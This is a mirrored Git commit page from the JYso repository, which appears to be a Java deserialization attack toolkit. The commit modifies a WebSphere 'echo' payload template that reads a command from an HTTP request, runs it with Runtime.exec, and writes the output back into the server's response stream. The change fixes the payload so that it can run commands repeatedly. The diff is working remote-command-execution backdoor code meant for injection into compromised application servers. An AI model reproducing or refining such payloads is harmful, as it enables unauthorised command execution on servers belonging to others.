mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-27 01:01:53 +08:00
feat: Websphere回显马解决命令执行只能执行一次
This commit is contained in:
+12
-3
@@ -1,4 +1,8 @@
|
|||||||
package com.qi4l.JYso.template.memshellStatic.Websphere;
|
package com.qi4l.JYso.template.echoStatic;
|
||||||
|
|
||||||
|
import java.io.OutputStream;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.Jackson3.getFieldValue;
|
||||||
|
|
||||||
public class websphereEcho {
|
public class websphereEcho {
|
||||||
|
|
||||||
@@ -22,8 +26,13 @@ public class websphereEcho {
|
|||||||
if (cmd != null && !cmd.isEmpty()) {
|
if (cmd != null && !cmd.isEmpty()) {
|
||||||
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
|
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
|
||||||
|
|
||||||
java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]);
|
//java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]);
|
||||||
printWriter.println(res);
|
//printWriter.println(res);
|
||||||
|
|
||||||
|
// 解决只读一次的问题
|
||||||
|
OutputStream outputStream = (OutputStream) getFieldValue(resp, "_bufferedOut");
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.write(res.getBytes());
|
||||||
}
|
}
|
||||||
|
|
||||||
break;
|
break;
|
||||||
Reference in New Issue
Block a user